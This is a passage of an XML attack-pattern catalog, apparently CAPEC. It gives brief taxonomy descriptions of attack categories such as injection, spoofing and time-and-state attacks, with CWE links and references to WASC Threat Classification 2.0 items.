			</Relationships>
		</Category>
		<Category ID="152" Name="Injection (Injecting Control Plane content through the Data Plane)"
			Status="Draft">
			<Description>
				<Description_Summary>An attacker is able to control or disrupt the behavior of an
					target through crafted input data submitted using an interface functioning to
					process data input. This happens when the attacker adds material to their input
					that is interpreted by the application causing the targeted application to
					perform steps unintended by the application manager or causing the application
					to enter an unstable state. This attack differs from Data Structure Attacks in
					that the latter attacks subvert the underlying structures that hold
					user-provided data, either pre-empting interpretation of the input (in the case
					of Buffer Overflows) or resulting in values that the targeted application is
					unable to handle correctly (in the case of Integer Overflows). In Injection
					attacks, the input is interpreted by the application, but the attacker has
					included instructions to the interpreting functions that the target application
					then follows.</Description_Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must accept input from the user. In virtually all
						cases, this must be string input.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must fail to adequately filter the user input against the
						insertion of instructions to the input interpreter.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>No special resources are required for most variants of this attack.</Text>
			</Resources_Required>
		</Category>
		<Category ID="156" Name="Spoofing" Status="Draft">
			<Description>
				<Description_Summary>An attacker constructs a message such that the constructed
					message is capable of masquerading as an authorized message from some other
					principal. As a result, consumers of these messages can be manipulated into
					responding or processing the deceptive message. Spoofing attacks assume that
					some piece of content or functionality is associated with an identity and that
					the content is trusted by the target because of this association. Spoofing
					refers to the falsification of the content and/or identity in such a way that
					the target will incorrectly trust the legitimacy of the content. The attacker
					then uses this content to execute an attack. For example, an attacker may modify
					a financial transaction between two parties so that the participants remain
					unchanged but the amount of the transaction is increased. If the recipient
					cannot detect the change, they may incorrectly assume the modified message
					originated with the original sender. Spoofing may involve an attacker crafting
					the content from scratch or capturing and modifying legitimate
					content.</Description_Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted content must be associated (possibly implicitly) with an
						identity and the targeted application or user must hold some trust about the
						content this identity is providing.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text> The attacker must be able to change the content, identity, or both in a
						way that is not detectable to the recipient and the recipient must fail to
						verify authenticity to the supposed source of the data. Cryptographic
						identity verification schemes can prevent this type of attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>No special resources are required for most versions of this attack. If the
					attack involves modification of ongoing transactions, the attacker must be able
					to intercept communications between the sender and the target.</Text>
			</Resources_Required>
		</Category>
		<Category ID="172" Name="Time and State Attacks" Status="Draft">
			<Description>
				<Description_Summary>An attacker exploits weaknesses in timing or state maintaining
					functions to perform actions that would otherwise be prevented by the execution
					flow of the target code and processes. An example of a state attack might
					include manipulation of an application's information to change the apparent
					credentials or similar information, possibly allowing the application to access
					material it would not normally be allowed to access. A common example of a
					timing attack is a test-action race condition where some state information is
					tested and, if it passes, an action is performed. If the attacker can change the
					state between the time that the application performs the test and the time the
					action is performed, then they might be able to manipulate the outcome of the
					action to malicious ends.</Description_Summary>
			</Description>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>665<!--Improper Initialization--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Virtually all applications can be subject to time or state attacks in some
						form.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>State attacks require the ability to manipulate the underlying state of an
					application. If that state is stored in a simple file, this can be relatively
					easy. If the state is stored internally, this can be more difficult. Timing
					attacks rely on being able to control when an application's thread is
					interrupted in order to insert the malicious action. Even then, if the actions
					in the sequence happen quickly, then success can largely be a matter of luck. As
					such, having many opportunities to attempt the attack is usually a requirement
					since and individual attack may have a low probability of success.</Text>
			</Resources_Required>
		</Category>
		<Category ID="210" Name="Abuse of Functionality" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>375<!--WASC Threat Classification 2.0 - WASC-42 - Abuse of Functionality--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="212" Name="Functionality Misuse" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="216" Name="Abuse of Communication Channels" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="223" Name="Probabilistic Techniques" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
		</Category>
		<Category ID="224" Name="Fingerprinting" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>281<!--Analytic Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>378<!--WASC Threat Classification 2.0 - WASC-45 - Fingerprinting--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="225" Name="Exploitation of Authentication" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>306<!--Missing Authentication for Critical Function--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
		</Category>
		<Category ID="232" Name="Exploitation of Privilege/Trust" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>807<!--Reliance on Untrusted Inputs in a Security Decision--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
		</Category>
		<Category ID="233" Name="Privilege Escalation" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="253" Name="Remote Code Inclusion" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>338<!--WASC Threat Classification 2.0 - WASC-05 - Remote File Inclusion--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="255" Name="Data Structure Attacks" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
		</Category>
		<Category ID="262" Name="Resource Manipulation" Status="Draft">
			<Description>
				<Description_Summary>An attacker manipulates one or more resources, or some
					attribute thereof, in order to perform an attack. This is a broad class of
					attacks wherein the attacker is able to change some aspect of a resource's state
					and thereby affect application behavior or information integrity. Examples of
					resources include files, applications, libraries, infrastructure, and
					configuration information. Outcomes can range from vandalism and reduction in
					service to the execution of arbitrary code on the target
					machine.</Description_Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>All applications are potentially vulnerable to this class of attack as all
						applications rely on resources.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>Attacker requirements will vary depending on the nature of the resource to be
					manipulated and the relationship between this resource and the targeted
					application, if any.</Text>
			</Resources_Required>
		</Category>
		<Category ID="278" Name="Web Services Protocol Manipulation" Status="Draft">
			<Description>
				<Description_Summary/>
			</Description>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>272<!--Protocol Manipulation--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="334"
			Name="WASC Threat Classification 2.0 - WASC-01 - Insufficient Authentication"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Authentication</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-01 - Insufficient
						Authentication</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient-Authentication</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="335"
			Name="WASC Threat Classification 2.0 - WASC-02 - Insufficient Authorization"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Authorization</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-02 - Insufficient
						Authorization</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient-Authorization</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="336" Name="WASC Threat Classification 2.0 - WASC-03 - Integer Overflows"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Integer Overflows</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-03 - Integer
						Overflows</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Integer-Overflows</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="337"
			Name="WASC Threat Classification 2.0 - WASC-04 - Insufficient Transport Layer Protection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Transport Layer Protection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-04 - Insufficient
						Transport Layer Protection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient-Transport-Layer-Protection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="338" Name="WASC Threat Classification 2.0 - WASC-05 - Remote File Inclusion"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Remote File Inclusion</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-05 - Remote File
						Inclusion</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Remote-File-Inclusion</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="339" Name="WASC Threat Classification 2.0 - WASC-06 - Format String"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Format String</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-06 - Format
						String</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Format-String</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="340" Name="WASC Threat Classification 2.0 - WASC-07 - Buffer Overflow"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Buffer Overflow</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-07 - Buffer
						Overflow</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Buffer-Overflow</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="341" Name="WASC Threat Classification 2.0 - WASC-08 - Cross-Site Scripting"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Cross-Site Scripting</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-08 - Cross-Site
						Scripting</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Cross-Site-Scripting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="342"
			Name="WASC Threat Classification 2.0 - WASC-09 - Cross-Site Request Forgery"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Cross-Site Request Forgery</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-09 - Cross-Site Request
						Forgery</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Cross-Site-Request-Forgery</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="343" Name="WASC Threat Classification 2.0 - WASC-10 - Denial of Service"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Denial of Service</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-10 - Denial of
						Service</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Denial-of-Service</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="344" Name="WASC Threat Classification 2.0 - WASC-11 - Brute Force"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Brute Force</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-11 - Brute
						Force</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Brute-Force</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="345" Name="WASC Threat Classification 2.0 - WASC-12 - Content Spoofing"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Content Spoofing</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-12 - Content
						Spoofing</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Content-Spoofing</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="346" Name="WASC Threat Classification 2.0 - WASC-13 - Information Leakage"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Information Leakage</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-13 - Information
						Leakage</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Information-Leakage</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="347" Name="WASC Threat Classification 2.0 - WASC-14 - Server Misconfiguration"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Server Misconfiguration</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-14 - Server
						Misconfiguration</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Server-Misconfiguration</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="348"
			Name="WASC Threat Classification 2.0 - WASC-15 - Application Misconfiguration"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Application Misconfiguration</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-15 - Application
						Misconfiguration</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Application-Misconfiguration</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="349" Name="WASC Threat Classification 2.0 - WASC-16 - Directory Indexing"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Directory Indexing</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-16 - Directory
						Indexing</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Directory-Indexing</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="350"
			Name="WASC Threat Classification 2.0 - WASC-17 - Improper Filesystem Permissions"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Improper Filesystem Permissions</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-17 - Improper Filesystem
						Permissions</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Improper-Filesystem-Permissions</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="351"
			Name="WASC Threat Classification 2.0 - WASC-18 - Credential/Session Prediction"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Credential/Session Prediction</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-18 - Credential/Session
						Prediction</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Credential-and-Session-Prediction</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="352" Name="WASC Threat Classification 2.0 - WASC-19 - SQL Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item SQL Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-19 - SQL
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/SQL-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="353" Name="WASC Threat Classification 2.0 - WASC-20 - Improper Input Handling"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Improper Input Handling</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-20 - Improper Input
						Handling</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Improper-Input-Handling</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="354"
			Name="WASC Threat Classification 2.0 - WASC-21 - Insufficient Anti-automation"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Insufficient Anti-automation</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-21 - Insufficient
						Anti-automation</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Insufficient+Anti-automation</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="355"
			Name="WASC Threat Classification 2.0 - WASC-22 - Improper Output Handling"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item Improper Output Handling</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-22 - Improper Output
						Handling</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/Improper-Output-Handling</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="356" Name="WASC Threat Classification 2.0 - WASC-23 - XML Injection"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item XML Injection</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-23 - XML
						Injection</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/XML-Injection</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="357" Name="WASC Threat Classification 2.0 - WASC-24 - HTTP Request Splitting"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item HTTP Request Splitting</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-24 - HTTP Request
						Splitting</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
					<Reference_Link>http://projects.webappsec.org/HTTP-Request-Splitting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Romain Gaucher</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2010-02-01</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Category>
		<Category ID="358" Name="WASC Threat Classification 2.0 - WASC-25 - HTTP Response Splitting"
			Status="Draft">
			<Description>
				<Description_Summary>This category is related to the WASC Threat Classification 2.0
					item HTTP Response Splitting</Description_Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>WASC</Reference_Author>
					<Reference_Title>WASC Threat Classification 2.0 - WASC-25 - HTTP Response
						Splitting</Reference_Title>
					<Reference_PubDate>2010</Reference_PubDate>
